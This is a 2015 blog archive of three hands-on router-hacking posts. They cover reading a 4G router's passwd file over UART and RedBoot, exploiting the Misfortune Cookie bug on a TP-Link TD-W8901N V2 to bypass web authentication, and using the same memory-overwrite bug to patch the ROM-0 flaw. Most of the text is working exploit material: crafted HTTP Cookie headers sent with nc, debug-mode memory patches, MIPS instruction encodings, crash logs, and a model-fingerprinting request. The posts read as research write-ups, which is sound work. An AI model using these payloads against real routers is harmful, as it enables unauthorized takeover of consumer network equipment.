Saturday, September 5, 2015

Modern 4G Modem Router With Oversimplified Security Protection

Modern 4G Modem Router With Oversimplified Security Protection

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

http://cawanblog.blogspot.my/2015/09/modern-4g-modem-router-with.html

on 05/09/2015


Somebody show a 4g modem router and looking for some challenges against its security
protection. After dismantled the unit, the uart port can be identified within a
minute and get ready to print the boot log, as shown below.

+Ethernet eth0: MAC address
IP: 192.168.0.8/255.255.255.0, Gateway: 192.168.0.1
Default server: 192.168.0.1

RedBoot(tm) bootstrap and debug environment [ROMRAM]
Non-certified release, version UNKNOWN - built 22:35:45, Mar  9 2010

Platform: system (ARM9)
Copyright (C) 2000, 2001, 2002, 2003, 2004 Red Hat, Inc.
Copyright (C) 2003, 2004, 2005, 2006

RAM: 0x00000000-0x02ffc000, [0x00036e40-0x02ff0000] available
FLASH: 0x60000000 - 0x60e40000, 57 blocks of 0x00040000 bytes each.
RedBoot> cache on
RedBoot> fis read -b 0x80000 -f 0x60030000 -l 0x10000
RedBoot> eval 0x80000
[mfill -b 0x800701C8 -l 4 -4 -p 0x1]
RedBoot> fs mount -d /dev/flash1 -t jffs2 /flash
jffs2 cleanmark size=800
<4>Empty flash at 0x000641a4 ends at 0x00064800
<4>Empty flash at 0x005071a4 ends at 0x00507800
RedBoot> fs cd /flash
RedBoot> load -m file -b 0x600000 -r zImage
<5>JFFS2 notice:  read_dnode: data CRC failed on node at %#08x: read %#08x, calculated %#08x
Raw file loaded 0x00600000-0x006d8ec7, assumed entry at 0x00600000
RedBoot> load -m file -b 0x1000000 -r initrd
<5>JFFS2 notice:  read_dnode: data CRC failed on node at %#08x: read %#08x, calculated %#08x
Raw file loaded 0x01000000-0x014a3fff, assumed entry at 0x01000000
RedBoot> exec -z -b 0x600000
Decompressing Linux... done, booting the kernel.
Linux version 2.6.26.8-rt16 () (gcc version 3.4.4) #1 PREEMPT Wed May 25 14:32:18 CST 2011
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177
...
...


Well, it uses redboot. Let's try to stop the boot process with ctrl+c.

...
...
RAM: 0x00000000-0x02ffc000, [0x00036e40-0x02ff0000] available
FLASH: 0x60000000 - 0x60e40000, 57 blocks of 0x00040000 bytes each.
^C
RedBoot> 


Nice, the prompt is ready now. Let's check what commands are available.

RedBoot> help
Manage machine caches
   cache [ON | OFF]
Display/switch console channel
   channel [-1|]
Compute a 32bit checksum [POSIX algorithm] for a range of memory
   cksum -b -l
Display (hex dump) a range of memory
   dump -b [-l ] [-s|-r|-d] [-1|2|4]
execute command on memory
   eval -b
Execute an image - with MMU off
   exec [-w timeout] [-b [-l ]]
        [-r [-s ]]
        [-c "kernel command line"] [-t ] []
Manage FLASH images
   fis {cmds}
Manage Filesystem files
   fs {cmds}
Write flash indirectly via in-memory buffer
   fwrite -b -f -l
Execute code at a location
   go [-w ] [-c] [-n] [entry]
Uncompress GZIP compressed data
   gunzip -s -d
execute dynamic load command
   gym ...|eval
Help about help?
   help []
Display command history
   history
Set/change IP addresses
   ip_address [-b] [-l [/]] [-h ]
Load a file
   load [-r] [-v] [-d] [-h ] [-p ][-m ] [-c ]
        [-b ]
Compare two blocks of memory
   mcmp -s -d -l [-1|-2|-4]
Copy memory from one address to another
   mcopy -s -d -l [-1|-2|-4]
Fill a block of memory with a pattern
   mfill -b [-l -p | -s ] [-1|-2|-4]
Network connectivity test
   ping [-v] [-n ] [-l ] [-t ] [-r ]
        [-i ] -h
Reset the system
   reset

   reset_md
Display RedBoot version information
   version
Display (hex dump) a range of memory
   x -b [-l ] [-s|-r|-d] [-1|2|4]
RedBoot>


As usual, the command "fs" is there. Let's check further what can be done with it.

RedBoot> help fs
Manage Filesystem files
   fs {cmds}
change directory
  fs cd []
delete file
  fs del
delete directory
  fs deldir
filesystem info
  fs info
list directory contents
  fs list []
create directory
  fs mkdir
Mount file system
  fs mount [-d ] -t []
move file
  fs move
Unmount file system
  fs umount
write data to file
  fs write -b -l
RedBoot>

Well, can mount a filesystem but cannot read file. Let's mount it first.


RedBoot> fs info
Filesystems available:
jffs2

Devices available:
/dev/flash1
RedBoot> fs mount -d /dev/flash1 -t jffs2
jffs2 cleanmark size=800
<4>Empty flash at 0x000641a4 ends at 0x00064800
<4>Empty flash at 0x0019753c ends at 0x00197800
<4>Empty flash at 0x001b8484 ends at 0x001b8800
<4>Empty flash at 0x005071a4 ends at 0x00507800
RedBoot>


The filesystem is mounted now, let's list the files.

RedBoot> fs list
   1 drwxr-xr-x  1 size      0 .
   1 drwxr-xr-x  1 size      0 ..
118280 -rw-r--r--  1 size     12 TZ
   7 drwxr-xr-x  1 size      0 db
20072 drwxr-xr-x  1 size      0 sf
  27 drwxr-xr-x  1 size      0 tmp
  21 -rwxr-xr-x  1 size    292 rcS
 158 drwxr-xr-x  1 size      0 ppp
   4 drwxr-xr-x  1 size      0 cron
   3 drwxr-xr-x  1 size      0 conf
20075 drwxr-xr-x  1 size      0 voip
  20 drwxr-xr-x  1 size      0 rc.d
  11 -rwxr-xr-x  1 size     10 group
  10 -rwxr-xr-x  1 size     29 fstab
39706 -rw-r--r--  1 size     33 md_ok
  26 drwxr-xr-x  1 size      0 sncfg
65556 -rw-r--r--  1 size 4866048 initrd
  12 drwxr-xr-x  1 size      0 init.d
  25 -rwxr-xr-x  1 size     59 shadow
  17 -rwxr-xr-x  1 size     29 passwd
65555 -rw-r--r--  1 size 888520 zImage
  22 -rwxr-xr-x  1 size    621 rcS-common
39707 -rw-r--r--  1 size     33 rescue_ok
20036 -rw-rw-rw-  1 size    436 hostnds_if0
   9 drwxr-xr-x  1 size      0 dropbear
  16 -rwxr-xr-x  1 size   1815 mini_httpd.pem
   5 -rwxr-xr-x  1 size   1289 cwmp_cacert.pem
  24 -rw-r--r--  1 size    542 services
 449 -rw-r--r--  1 size    224 default.cfg
  14 -rwxr-xr-x  1 size    125 inittab
 347 -rwxr-xr-x  1 size   7712 termcap
65577 -rwxr-xr-x  1 size     12 tlv.emc
  18 -rwxr-xr-x  1 size    117 priority
  19 -rwxr-xr-x  1 size      0 profile
 657 drwx------  1 size      0 net-snmp
   6 -rwxr-xr-x  1 size   3363 cwmp_client.pem
 597 -rw-r--r--  1 size     69 resolv.conf
  23 -rwxr-xr-x  1 size   1126 rcS-common-post
  15 drwxr-xr-x  1 size      0 iproute2
RedBoot>


Terrible, yes, it is. How to read file ? Simple, let's read passwd.

RedBoot> load -m file -b 600000 -r passwd
Raw file loaded 0x000927c0-0x000927dc, assumed entry at 0x000927c0
RedBoot> x -b 600000 -l 29 -r
726F6F743A783A303A303A2C2C2C3A2F726F6F743A2F62696E2F73680A
RedBoot>

cawan$ cat data.hex
726F6F743A783A303A303A2C2C2C3A2F726F6F743A2F62696E2F73680A
cawan$
cawan$ cat hex2raw.py
import binascii

fin=open("data.hex","rb")
fout=open("data.raw","wb")
d_hex=fin.read(2)
while d_hex != "":
    d_bin=binascii.unhexlify(d_hex)
    fout.write(d_bin)
    d_hex=fin.read(2)
cawan$
cawan$ python hex2raw.py
Traceback (most recent call last):
  File "hex2raw.py", line 7, in
    d_bin=binascii.unhexlify(d_hex)
TypeError: Odd-length string
cawan$
cawan$ cat data.raw
root:x:0:0:,,,:/root:/bin/sh
cawan$


Hell, no fun at all, just a shame. I start to appreciate aruba's rap.


pdf version:-
https://www.scribd.com/doc/278686074/Modern-4G-Modem-Router-With-Oversimplified-Security-Protection

Sunday, April 26, 2015

Understanding MIPS16 To MIPS32 Switching With Misfortune Cookie

Understanding MIPS16 To MIPS32 Switching With Misfortune Cookie

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

http://cawanblog.blogspot.com/2015/04/understanding-mips16-to-mips32.html

on 26/04/2015


TD-W8901N V2 is a new release of ADSL router to supersede the previous V1 with the
first version of firmware being published on 3rd Nov 2014. I expect it should have
some remedies to rom-0 and misfortune cookie bugs. Let's have a look.

cawan$ wget 192.168.1.1/rom-0
--2015-04-26 22:38:56--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-04-26 22:38:56 ERROR 404: Not Found.

Well, rom-0 bug is fixed in this version. Now, let's try with misfortune cookie
bug.

cawan$ curl --header 'Cookie: C' 192.168.1.1

At console, it shows,

TLB refill exception occured!                                                                  
EPC= 0x800EDA07                                                                                
SR= 0x10000003                                                                                
CR= 0xC080580C                                                                                
$RA= 0x00000000                                                                                
Bad Virtual Address = 0x00000000                                                              
UTLB_TLBS ..\core\sys_isr.c:336 sysreset()                                                    
                                                                                               
                                                                                               
        $r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001                        
        $a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4                        
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00279AE7 $t3= 0x00000000                        
        $t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00                        
        $s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0                        
        $s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x00000000                        
        $t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C                        
        $gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04                        

...
...

 current task   = httpd                                                                        
 dump task      = network                                                                      
 tx_stack_ptr   = 0x8058FC18                                                                  
 tx_stack_start = 0x8058BD78                                                                  
 tx_stack_end   = 0x8058FD77                                                                  
 tx_stack_size  = 0x00004000                                                                  
 tx_run_count   = 0x00001375                                                                  

...
...

Unfortunately, the misfortune cookie bug is still there. By using the method that
I have mentioned in my previous paper, the exploit should easily be developed.
However, there is an interesting issue in this version of firmware which is worth
to discuss, MIPS16. In all the firmwares with misfortune cookie bug that I have
studied before, all of them are running in MIPS32, so this is the first time I get
a firmware which is running in MIPS16, or the hybrid of MIPS16 and MIPS32. How to
know it is running in MIPS16 ? Simple, the EPC is crashed at an odd number value,
0x800EDA07. In MIPS32, the first 2 bits from LSB is normally set as zero, because
each instruction is with fixed length of 32-bit. However, in MIPS16, the first bit
from LSB is set as one, while the second bit is in used for addressing and keep
toggling with one and zero. Now, let's have a look to the code snippet around
0x800EDA07.

ROM:800ED9EE                 lb      $a3, 0($s0)
ROM:800ED9F0                 li      $a1, 0x3D
ROM:800ED9F2                 cmpi    $a3, 0x43
ROM:800ED9F4                 btnez   loc_800EDA38
ROM:800ED9F6                 addiu   $s0, 1
ROM:800ED9F8                 move    $a0, $s0
ROM:800ED9FA                 jal     sub_80130928
ROM:800ED9FE                 nop
ROM:800EDA00                 move    $a0, $s0
ROM:800EDA02                 move    $s1, $v0
ROM:800EDA04                 move    $a3, $zero
ROM:800EDA06                 jalx    sub_801B3C2C
ROM:800EDA0A                 sb      $a3, 0($s1)
ROM:800EDA0C                 addiu   $s1, 1
ROM:800EDA0E                 move    $a0, $s1
ROM:800EDA10                 jal     sub_80130C58
ROM:800EDA14                 sw      $v0, 8($sp)
ROM:800EDA16                 addu    $s0, $s1, $v0
ROM:800EDA18                 move    $a3, $zero
ROM:800EDA1A                 sb      $a3, 0($s0)
ROM:800EDA1C                 lw      $v1, 0xC($sp)
ROM:800EDA1E                 li      $a3, 0x6B28
ROM:800EDA22                 addu    $a3, $v1, $a3
ROM:800EDA24                 lw      $v1, 8($sp)
ROM:800EDA26                 li      $a2, 0x28
ROM:800EDA28                 mult    $v1, $a2
ROM:800EDA2A                 mflo    $a1
ROM:800EDA2C                 addu    $a0, $a3, $a1
ROM:800EDA2E                 move    $a1, $s1
ROM:800EDA30                 jal     sub_8012F844
ROM:800EDA34                 nop
ROM:800EDA36                 b       loc_800EDA52
                                                                                                 
At 0x800EDA07, the instruction being executed is

ROM:800EDA06                 jalx    sub_801B3C2C

However, due to one delay slot in MIPS architecture, the faulty instruction
should be

ROM:800EDA0A                 sb      $a3, 0($s1)

The reason is $s1 is getting from $v0, which is the return value of sub_80130928.
When not passing any parameter in misfortune cookie, sub_80130928 will return a
null, and eventually will cause a write operation to address 0x00000000, which is
invalid, and in turn crashing the system. Now, to develop an exploit for this
version of firmware, the value of $v1 at ROM:800EDA22 is necessary. With the
method as mentioned in my previous paper, an instruction should be injected at
that address to duplicate the value of $v1 into $s7, following by another
instruction to crash the system and print the value of $s7 via the console as
crash log. The reason I choose $s7 is because it is not being used by sysreset()
in system crashing, so it will not be overridden, and I can get the exact value
of $v1 from crash log. But, in MIPS16, $s7 is unavailable. The registers which
are available in MIPS16 are $s0, $s1, $v0, $v1, $a0, $a1, $a2, and $a3, where
all of them will be overridden by sysreset(). I get this conclusion by trying all
of them in MIPS16, but not going to reverse sysreset().

Well, it is necessary to switch from MIPS16 into MIPS32 first before getting $s7
ready to show the value of $v1. In order to switch from MIPS16 to MIPS32, jalx
instruction should be used. By referring [1] page 83, it is possible to create
a special jalx instruction to get the job done. Let's assume the jalx instruction
can be located at any specific address to switch MIPS16 into MIPS32 and then
divert the instruction flow to another address which is patched with instruction
to duplicate the value of specific register into $s7 and then crash immediately.
So, if we need to get the value of $v1 at ROM:800EDA22, we can patch the address
with "jalx 0x800eda34" and at ROM:800EDA34, we can patch it with "jr $zero", and
at ROM:800EDA38, we patch it with "add $s7, $v1, $zero". Why "add $s7, $v1, $zero"
is after "jr $zero" ? Please keep delay slot in mind. Let's do it now.

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00                                          
RAM: Size = 8192 Kbytes                                                                        
Found SPI Flash 2MiB EN25QH16 at 0xbfc00000                                                    
SPI Flash Quad Enable                                                                          
Turn off Quad Mode                                                                            
                                                                                               
RAS Version: 2.0.0 Build 141103 Rel.09284                                                      
System   ID: $2.12.191.0(G04.BZ.4)3.20.17.0  20141024_v005  | 2014/10/24                      
                                                                                               
Press any key to enter debug mode within 3 seconds.                                            
........                                                                                      
Enter Debug Mode                                                                              
ATEN1, D423EB58                                                                                
OK                                                                                            
ATWL 80014AC4, ac30fffc                                                                        
OK                                                                                            
atgr
OK
     (Compressed)                                                                              
     Version: ADSL ATU-R, start: bfc86030                                                      
     Length: 3882D4, Checksum: 1919                                                            
     Compressed Length: 1369FF, Checksum: 0EB9                                                
                                                                                               
ERROR
ATWL 800EDA24, 1C60B68D                                                                        
OK                                                                                            
ATWL 800EDA34, 00000008                                                                        
OK                                                                                            
ATWL 800eda38, 0060b820                                                                        
OK                                                                                            
atgo 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD

running romfile and backup romfile is  the same

Erasing 4K Sector...

Erasing 4K Sector...

...
...

cawan$ curl --header 'Cookie: C8=cawan' 192.168.1.1

TLB refill exception occured!                                                                  
EPC= 0x00000000                                                                                
SR= 0x10000003                                                                                
CR= 0x50801C08                                                                                
$RA= 0x80020000                                                                                
Bad Virtual Address = 0x00000000                                                              
UTLB_TLBL ..\core\sys_isr.c:336 sysreset()                                                    
                                                                                               
                                                                                               
        $r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001                        
        $a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4                        
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00060D2F $t3= 0x00000000                        
        $t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00                        
        $s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0                        
        $s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x803B12A8                        
        $t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C                        
        $gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04                        

...
...

So, the value of $v1 is 0x803B12A8 and $a3 is 0x803B12A8 + 0x6B28 = 0x803B7DD0.
On the other hand, since the EPC is stopped at 0x00000000, which is not an odd
number value, it shows the system has been switched from MIPS16 into MIPS32 before
getting crashed. So, it is ready to create our exploit right now. Let's do it.

cawan$ cat cawan_header_unlock | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3436 3430 323d 6161 6161 6161 6161  7346402=aaaaaaaa
0000060: 6161 6161 610a                           aaaaa.
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*   Trying 192.168.1.1...
* Adding handle: conn: 0x7fa97a000000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fa97a000000) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 303 See Other
< Location: http://192.168.1.1/login_security.html
< Content-Length: 0
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
* Connection #0 to host 192.168.1.1 left intact
cawan$
cawan$ cat cawan_header_unlock | nc 192.168.1.1 80
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*   Trying 192.168.1.1...
* Adding handle: conn: 0x7ffe01005400
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7ffe01005400) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Date: Sat, 01 Jan 2000 00:01:04 GMT
< Pragma: no-cache
< Expires: Thu, 26 Oct 1995 00:00:00 GMT
< Transfer-Encoding: chunked
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
...
...

Cool, the exploit works like a charm.

There are quite a number of peoples are questioning to the usefulness of misfortune
cookie bug by assuming all of them must come with rom-0 bug. In reality, rom-0 bug
can simply be removed or fixed by those who having html to c utility, which is
normally in the disposal of majority downstream manufacturer. However, httpd.a is
usually obtained from upstream in binary format which is almost impossible to be
modified by downstream in proper condition. On the other hand, someone might argue
again while the new version has using web login without the popup box which indicate
the model number of the router, then how to determine the model number of the target
router now ? The answer is in fact fairly simple,

cawan$ wget 192.168.1.1/DeviceDescription.xml
--2015-04-27 03:09:04--  http://192.168.1.1/DeviceDescription.xml
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/xml]
Saving to: ‘DeviceDescription.xml’

    [  <=>                                       ] 6,271       19.3KB/s   in 0.3s

2015-04-27 03:09:05 (19.3 KB/s) - ‘DeviceDescription.xml’ saved [6271]

cawan$
cawan$ cat DeviceDescription.xml | grep -i modelname
TD-W8901G IGD
TD-W8901G IGD
TD-W8901G IGD
TD-W8901G IGD
cawan$

Enjoy.

Add-on:

jalx target
xxxxx y aaaaa bbbbb cccccccccccccccc

xxxxx = 00011
y     = 1
aaaaa = target (20:16)
bbbbb = target (25:21)
cccccccccccccccc = target (15:0)

When target = 0x800eda34, since it is located at kseg0, and the MSB will always
reset to 0 while mapping to physical address. So, it can be neglected and assume
it is 0x000eda34. Because each instruction taking 32-bit or 4-byte, the target
should be converted to (0x000eda34 / 4) = 0x3b68d. Hence,

aaaaa = 00011
bbbbb = 00000
cccccccccccccccc = 0xb68d

Thus, the "jalx 0x800eda34" in hex format is,

00011 1 00011 00000 (0xb68d)
0001 1100 0110 0000 (0xb68d)
(0x1) (0xc) (0x6) (0x0) (0xb68d)
0x1c60b68d

References:-

[1] http://saluc.engr.uconn.edu/refs/processors/mips/mip32_prog_4a.pdf

Monday, March 2, 2015

Patching ROM-0 Bug With Misfortune Cookie

Patching ROM-0 Bug With Misfortune Cookie

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 03/03/2015


This is a paper just for fun, especially for those embedded hackers who looking
for fun in tweaking embedded system. So, this is not the proper solution to fix
ROM-0 bug, it is ridiculous to fix a bug with another bug. Anyway, let's start
our fun now. From my previous paper of "Misfortune Cookie Demystified", it is
clear we can perform arbitrary address overwrite with arbitrary data. Other than
to unlock a router, it is possible to patch a router in order to fix ROM-0 bug.
Before that, let us have a look to the data format of overwriting action being
executed by misfortune cookie in detail. Back to the code snippet.

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0      
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0      
ROM:8010E5D0                 move    $s1, $v0      
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1      
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0      
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2  
ROM:8010E5F4                 move    $a1, $s1      
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0  
ROM:8010E604                 addu    $a0, $t5, $t2  
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644  
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------

ROM:8010E608 is strncpy(), after it, at ROM:8010E610 and ROM:8010E614, we just simply
set a trap there. Well, we make it this way,

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
...
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...


Now, it is ready to trigger the trap.

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3733 3838 333d 6161 0a                       7373883=aa.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$

and we get this,

TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805008
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0

...
...


Let us find a nice looking buffer area to start our study of data overwriting
format and pattern in detail. It seems 0x804ED500 is a good place, as shown
below.

Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00   .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54   ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E   TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 2E 30 0A 68   t: curl/7.33.0.h
804ED590: 6F 73 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31   ost: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F   .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 31 30-37 33 37 33 38 38 33 00   kie: C107373883.
804ED5C0: 61 61 00 00 00 00 00 00-00 00 00 00 00 00 00 00   aa..............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

From 0x804ED570 to 0x804ED5B0, there is no null character being existed in that
portion of data. On the other hand, 0x804ED400 is another good place, as shown
below.

atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4C0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

Well, there is all null characters in this portion of memory. Now, let us put
some data in this all null portion.

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232   */*.Cookie: C22
0000050: 3032 323d 6361 7761 6e0a                            022=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode
atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
